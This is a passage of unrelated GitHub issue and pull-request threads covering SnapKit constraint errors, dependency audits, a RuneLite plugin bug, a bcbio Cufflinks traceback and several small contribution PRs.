    "<NSLayoutConstraint:0x7fb38164df60 'UIView-Encapsulated-Layout-Width' H:[SnapKitPOC.ExampleBasicView:0x7fb381641350(375)]>"
)

Will attempt to recover by breaking constraint
<EMAIL_ADDRESS>UIView:0x7fb381641910.width == 0.0>

Make a symbolic breakpoint at UIViewAlertForUnsatisfiableConstraints to catch this in the debugger.
The methods in the UIConstraintBasedLayoutDebugging category on UIView listed in <UIKit/UIView.h> may also be helpful.
2016-03-11 11:44:09.857 SnapKitPOC[59276:9637922] Unable to simultaneously satisfy constraints.
	Probably at least one of the constraints in the following list is one you don't want.
	Try this:
		(1) look at each constraint and try to figure out which you don't expect;
		(2) find the code that added the unwanted constraint or constraints and fix it.
(
<EMAIL_ADDRESS>UIView:0x7fb381641a80.width == 0.0>",
<EMAIL_ADDRESS>UIView:0x7fb381641a80.left == SnapKitPOC.ExampleBasicView:0x7fb381641350.left + 10.0>",
<EMAIL_ADDRESS>UIView:0x7fb381641a80.right == SnapKitPOC.ExampleBasicView:0x7fb381641350.right - 10.0>",
    "<NSLayoutConstraint:0x7fb38164df60 'UIView-Encapsulated-Layout-Width' H:[SnapKitPOC.ExampleBasicView:0x7fb381641350(375)]>"
)

Will attempt to recover by breaking constraint
<EMAIL_ADDRESS>UIView:0x7fb381641a80.width == 0.0>

Make a symbolic breakpoint at UIViewAlertForUnsatisfiableConstraints to catch this in the debugger.
The methods in the UIConstraintBasedLayoutDebugging category on UIView listed in <UIKit/UIView.h> may also be helpful.
2016-03-11 11:44:09.857 SnapKitPOC[59276:9637922] Unable to simultaneously satisfy constraints.
	Probably at least one of the constraints in the following list is one you don't want.
	Try this:
		(1) look at each constraint and try to figure out which you don't expect;
		(2) find the code that added the unwanted constraint or constraints and fix it.
(
<EMAIL_ADDRESS>UIView:0x7fb381641910.height == 0.0>",
<EMAIL_ADDRESS>UIView:0x7fb381641910.top == SnapKitPOC.ExampleBasicView:0x7fb381641350.top + 10.0>",
<EMAIL_ADDRESS>UIView:0x7fb381641910.bottom == SnapKitPOC.ExampleBasicView:0x7fb381641350.bottom - 10.0>",
    "<NSLayoutConstraint:0x7fb38164dfb0 'UIView-Encapsulated-Layout-Height' V:[SnapKitPOC.ExampleBasicView:0x7fb381641350(667)]>"
)

Will attempt to recover by breaking constraint
<EMAIL_ADDRESS>UIView:0x7fb381641910.height == 0.0>

Make a symbolic breakpoint at UIViewAlertForUnsatisfiableConstraints to catch this in the debugger.
The methods in the UIConstraintBasedLayoutDebugging category on UIView listed in <UIKit/UIView.h> may also be helpful.
2016-03-11 11:44:09.858 SnapKitPOC[59276:9637922] Unable to simultaneously satisfy constraints.
	Probably at least one of the constraints in the following list is one you don't want.
	Try this:
		(1) look at each constraint and try to figure out which you don't expect;
		(2) find the code that added the unwanted constraint or constraints and fix it.
(
<EMAIL_ADDRESS>UIView:0x7fb381641bf0.height == 0.0>",
<EMAIL_ADDRESS>UIView:0x7fb381641bf0.top == SnapKitPOC.ExampleBasicView:0x7fb381641350.top + 10.0>",
<EMAIL_ADDRESS>UIView:0x7fb381641bf0.bottom == SnapKitPOC.ExampleBasicView:0x7fb381641350.bottom - 10.0>",
    "<NSLayoutConstraint:0x7fb38164dfb0 'UIView-Encapsulated-Layout-Height' V:[SnapKitPOC.ExampleBasicView:0x7fb381641350(667)]>"
)

Will attempt to recover by breaking constraint
<EMAIL_ADDRESS>UIView:0x7fb381641bf0.height == 0.0>

Make a symbolic breakpoint at UIViewAlertForUnsatisfiableConstraints to catch this in the debugger.
The methods in the UIConstraintBasedLayoutDebugging category on UIView listed in <UIKit/UIView.h> may also be helpful.
2016-03-11 11:44:09.859 SnapKitPOC[59276:9637922] Unable to simultaneously satisfy constraints.
	Probably at least one of the constraints in the following list is one you don't want.
	Try this:
		(1) look at each constraint and try to figure out which you don't expect;
		(2) find the code that added the unwanted constraint or constraints and fix it.
(
<EMAIL_ADDRESS>UIView:0x7fb381641a80.height == 0.0>",
<EMAIL_ADDRESS>UIView:0x7fb381641a80.top == SnapKitPOC.ExampleBasicView:0x7fb381641350.top + 10.0>",
<EMAIL_ADDRESS>UIView:0x7fb381641a80.bottom == SnapKitPOC.ExampleBasicView:0x7fb381641350.bottom - 10.0>",
    "<NSLayoutConstraint:0x7fb38164dfb0 'UIView-Encapsulated-Layout-Height' V:[SnapKitPOC.ExampleBasicView:0x7fb381641350(667)]>"
)

Will attempt to recover by breaking constraint
<EMAIL_ADDRESS>UIView:0x7fb381641a80.height == 0.0>

Make a symbolic breakpoint at UIViewAlertForUnsatisfiableConstraints to catch this in the debugger.
The methods in the UIConstraintBasedLayoutDebugging category on UIView listed in <UIKit/UIView.h> may also be helpful.
2016-03-11 11:44:09.859 SnapKitPOC[59276:9637922] Unable to simultaneously satisfy constraints.
	Probably at least one of the constraints in the following list is one you don't want.
	Try this:
		(1) look at each constraint and try to figure out which you don't expect;
		(2) find the code that added the unwanted constraint or constraints and fix it.
(
<EMAIL_ADDRESS>UIView:0x7fb381641910.top == SnapKitPOC.ExampleBasicView:0x7fb381641350.top + 10.0>",
<EMAIL_ADDRESS>UIView:0x7fb381641910.bottom == SnapKitPOC.ExampleBasicView:0x7fb381641350.bottom - 10.0>",
<EMAIL_ADDRESS>UIView:0x7fb381641910.height == 0.0>",
    "<NSLayoutConstraint:0x7fb38164dfb0 'UIView-Encapsulated-Layout-Height' V:[SnapKitPOC.ExampleBasicView:0x7fb381641350(667)]>"
)

Will attempt to recover by breaking constraint
<EMAIL_ADDRESS>UIView:0x7fb381641910.height == 0.0>

Make a symbolic breakpoint at UIViewAlertForUnsatisfiableConstraints to catch this in the debugger.
The methods in the UIConstraintBasedLayoutDebugging category on UIView listed in <UIKit/UIView.h> may also be helpful.

@spaus You're mixing a bit of default auto layout API's with SnapKit.
You want to do things like: make.left.equalTo(other.snp_right) rather than make.left.equalTo(other.rightAnchor). The xxxAnchor usage isn't supported.

Closing this, please re-open if you still believe this is an issue.

That's got it working. Thank you.
Is there some reason that the xxxAnchor usage does not result in a compilation error?
Sent from my iPhone

On Mar 12, 2016, at 5:08 AM, Robert Payne<EMAIL_ADDRESS>wrote:
@spaus You're mixing a bit of default auto layout API's with SnapKit.
You want to do things like: make.left.equalTo(other.snp_right) rather than make.left.equalTo(other.rightAnchor). The xxxAnchor usage isn't supported.
―
Reply to this email directly or view it on GitHub.


Fix typos

I recently upgraded my codespell command to version 2.2.6 which caused creating a pull-request to catch the typos fixed by this change.

lol merge this

Ping?


fixed commit #2

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
Attention: Patch coverage is 0% with 1 line in your changes missing coverage. Please review.

Project coverage is 0.24%. Comparing base (7cb653c) to head (e0ec56e).
Report is 4 commits behind head on main.

Files with missing lines
Patch %
Lines

R/get_data_sources.R
0.00%
1 Missing :warning:

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@          Coverage Diff          @@
##            main      #5   +/-   ##
=====================================
  Coverage   0.24%   0.24%
=====================================
  Files         12      12
  Lines        407     407
=====================================
  Hits           1       1
  Misses       406     406

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Policy based Data structres

I would like to add some questions signifying the usage of a policy based data structure -> ordered set.

add 4 5 ques in 1 PR


[chore] Updated Rust packages to pass the Cargo audit

Updated Rust packages in order to pass the cargo audit.
time is not updated. Instead the security advisory RUSTSEC-2020-0071 should be ignored, since it does not affect chrono, our only dependency using it.
Took cue from Diem's commit: f416e383e ("fix rustsec vulnerabilities", 2022-06-22).
Original Diem PR: diem/diem#10306
Chrono not affected: chronotope/chrono#578

Motivation
cargo audit didn't pass. Updated packages accordingly and modified the daily CI to ignore an advisory not related to us.
Have you read the Contributing Guidelines on pull requests?
Yes.
Test Plan
CI tests.

Requesting reviews from my mentors @awelc and @tnowacki :memo:


Updating README file

This looks like an accidental PR submission? I'll close this in 24 hours unless you want me to leave this open for some reason.


Adsk Contrib - Add color space removal

Signed-off-by: Patrick Hodoul<EMAIL_ADDRESS>While investigating coming features, I discovered that a color space can only be added to a config (i.e. no remove method, only clearColorSpaces() clearing all color spaces).
The pull request adds a removeColorSpace() to the public API with its dedicated unit test.
Note: Writing the unit test I've added some UTF-8 checks because no unit tests are currently validating that aspect.

Friendly reminder that this PR qualifies for single approver rule so it could now be merged this week.


Tmux pane support

Hi, is it possible to support Tmux panes using Tmux pane ids or tokens? I see Overseer use built-in terminal but I'd like to run tasks and commands in a Tmux pane.

There is currently no support for tmux because overseer relies heavily on having access to the status and output of the task. If there is a way to get that from tmux then it would be possible to write a strategy like the one for the built-in terminal and use that instead

Unless I'm missing something, that file appears to be sending lots of commands to tmux, but not reading the output of a long-running process or getting the exit code of a job.


Inkscape export troubles

Hello! This library provides great opportunities, but I have two problems with my editor:

By default, Inkscape does not indicate black. Assuming that if the color is not specified, then it is "black" (stroke / fill)

The library draws nothing if the line color is not specified.

The editor saves some colors as a gradient. (Although there is no gradient there)

The library draws such lines in black.
Maybe there is some kind of setting for export? Like... "do not use gradients", "always indicate color".

@KVinS Not sure if you're still experiencing issues here, but I'm posting anyway for future reference. You can specify default colors in the SVG root element which will be applied to every element without an explicitly set fill or stroke. If you import your SVG file as a React element you can do it like this:
import MyVector from "./MyVector.svg";

const MyComponent = () => {
  return <MyVector fill="#000000" stroke="#000000" />;
};

As for the problem with fill, the discussion and a fix is provided here: https://github.com/software-mansion/react-native-svg/issues/1543. As for the problem with colors as gradients, could you provide a repro of this so we could elaborate more?

Hello @KVinS  @patriksletmo,
Could you share an example of how we can reproduce?
Thank you


Plugin stopped working

Overlay gone.
All previous events gone.
Timer just keeps ticking to 5 minutes on side bar... when random events happen, nothing is logged.

Hello! Sorry for the issues.
Would you mind uploading your client log?

Navigate to %userprofile%.runelite\logs on Windows or $HOME/.runelite/logs on Linux and macOS.
Upload the log file named client.log

Also if you look in your .runelite/random-event-analytics folder do you see a folder with your login name or are the subfolders all numbers? (You should see folders named with numbers).
Within those folders there'll be a random-events.log file that should contain all of your randoms.
In the plugin settings do you have "Enable Overlay" toggled?
Did this happen on multiple accounts?
There's a fix for a few issues (unrelated to this) currently being reviewed by the RL team that might fix a few things.

I'm using the rune launcher, but not a jagex account.
Only one account.
Yes, overlay is turned on.
Relogging / exiting does not do anything..
The log file just has the following line spammed over and over:
2023-05-06 15:57:57 EDT [AWT-EventQueue-0] ERROR net.runelite.client.RuneLite - Uncaught exception: java.lang.NullPointerException: null
The random-events.log doesn't seem like it has updated in a week.

I wonder if it's a Rune launcher issue, I haven't tested the plugin through it yet. I'll download the launcher and see if I can replicate it in a few.
Id expect to see errors directly related to the plugin.
Is there anything above all of the null pointer errors?
You might try starting runelite in safemode:

Launch RuneLite in safe mode using the following command:

"%localappdata%\runelite\runelite.exe" --safe-mode

(or by launching the Runelite (Configure) app - unsure how this works via the Rune launcher)
And renabling just Random Event Analytics, just to ensure no other plugin is the root cause.
There's also debug mode, which you can enable by passing in --debug similar to safe-mode. That would make the logs much more verbose and might shed some light.

I'll try that when I get home.  I do know it was working before fine... just recently it broke, so I don't know if any changes were made to the live branch in Runelite.  I've always used the Jagex Launcher.

https://github.com/runelite/plugin-hub/pull/4309 was merged ~3 hours ago, would you mind restarting your client (if you've had it running) and checking if it's still broken?
Let me know, happy to take a look at logs as well.

Seems to work now


Cufflinks transcript assembly post-STAR

I get the following error post-star alignment and during cufflinks transcript assembly:
...
196662 genes finished
Traceback (most recent call last):
File "/home/aadam/local/bin/bcbio_nextgen.py", line 234, in
main(**kwargs)
File "/home/aadam/local/bin/bcbio_nextgen.py", line 43, in main
run_main(**kwargs)
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/bcbio/pipeline/main.py", line 42, in run_main
fc_dir, run_info_yaml)
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/bcbio/pipeline/main.py", line 86, in _run_toplevel
for xs in pipeline(config, run_info_yaml, parallel, dirs, samples):
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/bcbio/pipeline/main.py", line 243, in rnaseqpipeline
samples = rnaseq.assemble_transcripts(run_parallel, samples)
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/bcbio/pipeline/rnaseq.py", line 285, in assemble_transcripts
samples = run_parallel("cufflinks_merge", [samples])
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/bcbio/distributed/multi.py", line 28, in run_parallel
return run_multicore(fn, items, config, parallel=parallel)
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/bcbio/distributed/multi.py", line 86, in run_multicore
for data in joblib.Parallel(parallel["num_jobs"], batch_size=1)(joblib.delayed(fn)(x) for x in items):
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/joblib/parallel.py", line 804, in call
while self.dispatch_one_batch(iterator):
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/joblib/parallel.py", line 662, in dispatch_one_batch
self._dispatch(tasks)
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/joblib/parallel.py", line 570, in _dispatch
job = ImmediateComputeBatch(batch)
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/joblib/parallel.py", line 183, in init
self.results = batch()
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/joblib/parallel.py", line 72, in call
return [func(*args, **kwargs) for func, args, kwargs in self.items]
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/bcbio/utils.py", line 50, in wrapper
return apply(f, *args, **kwargs)
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/bcbio/distributed/multitasks.py", line 387, in cufflinks_merge
return rnaseq.cufflinks_merge(*args)
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/bcbio/pipeline/rnaseq.py", line 246, in cufflinks_merge
samples[0][0])
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/bcbio/rnaseq/cufflinks.py", line 259, in merge
filtered = annotate_gtf.cleanup_transcripts(classified, gtf_file, ref_file)
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/bcbio/rnaseq/annotate_gtf.py", line 52, in cleanup_transcripts
assembled_db = gtf.get_gtf_db(assembled_gtf)
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/bcbio/rnaseq/gtf.py", line 43, in get_gtf_db
return gffutils.FeatureDB(db_file)
File "/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/gffutils/interface.py", line 131, in init
version, dialect = c.fetchone()
TypeError: 'NoneType' object is not iterable
Not sure why there is an empty object - after completing the processing of ~19000 loci, the following warning appears in the middle of my log file:
[2017-11-06T16:04Z] multiprocessing: cufflinks_merge
/home/aadam/bcbio/anaconda/lib/python2.7/site-packages/gffutils/create.py:85: UserWarning: 'infer_gene_extent' will be deprecated. For now, the following equivalent values were automatically set: 'disable_infer_genes=True', 'disable_infer_transcripts=True'. Please use these instead in the future.
warnings.warn("'infer_gene_extent' will be deprecated. For now, "
After this, there are numerous messages stating 'x # of genes finished' after conversion of the .gtf to fasta format, then this error occurs.  Not sure I understand it.

Thanks, sorry about that. That warning is innocuous and isn't the root cause of the problem. The steps that it is doing there is it is taking the cufflinks-assembly.gtf files for each sample, merging them together into a merged.gtf file and then cleaning up the final merged file into an assembly.gtf file. Are the cufflinks-assembly.gtf files floating around and do they look weird? What about the merged.gtf and assembly files?

Don't have much experience with cufflinks, but it seems as if those files contain the pertinent information.   Could you pass along the entire assembled.gtf file so I can see if I can figure out what is wrong?

cufflinks-assembly-L1-4.zip
Sure - I've attached all 4 .gtf's associated with this sample - the reason there are 4 is that the sample was distributed to 4 lanes of a Nextseq for paired-end sequencing, and I chose to include all 4 fastq pairs in a single .yaml file.
Thanks!

I corrected my batch info under metadata within the .yaml file and that seemed to resolve the issue. Before I close this, one last question.  I ran the STAR aligner on paired-end Nextseq data, so each sample has 4 sets, corresponding to 4 lanes, of paired fastqs.  I ran the alignment separately for each lane to get separate qc metrics generated by STAR in the log.final.out file.  This file has a lot of useful metrics such as % unmapped reads, % reads mapping to multiple loci, etc.  Is there any way that I can merge the alignment data across the 4 lanes and obtain those same metrics?  I attempted merging the bam files with samtools followed by Picardtools collectRNAseqmetrics and samtools 'stats', but neither quite give me the data that was generated by STAR (can't seem to find command or function in STAR manual either).  Any insight you have would be great.  Thanks!

Hi @aadamk,
For same-sample split across lanes, we usually merge the FASTQ files for each lane into one prior to running bcbio. We have a script to handle that: http://bcbio-nextgen.readthedocs.io/en/latest/contents/configuration.html#multiple-files-per-sample
You can also just cat the FASTQ files together yourself, as long as they are not compressed or are gzipped. That is all that script is doing for the most part.

Got it, thank you.


added 4 java GFG questions and solutions.(important to practice).

Description
Please include a summary of the change and which issue is fixed. List any dependencies that are required for this change.
Fixes #(issue_no)
Replace issue_no with the issue number which is fixed in this PR
Type of change
Please delete options that are not relevant.

[x] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[x] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[x] This change requires a documentation update
[x] Documentation Update

Checklist:

[x] My code follows the style guidelines(Clean Code) of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have created a helpful and easy to understand README.md
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[x] I have added tests/screenshots(if any) that prove my fix is effective or that my feature works

Successfully added questions.

DS ALGO PROJECTS ARE NOT COUNTED FOR HACKTOBERFEST21 so i will close this PR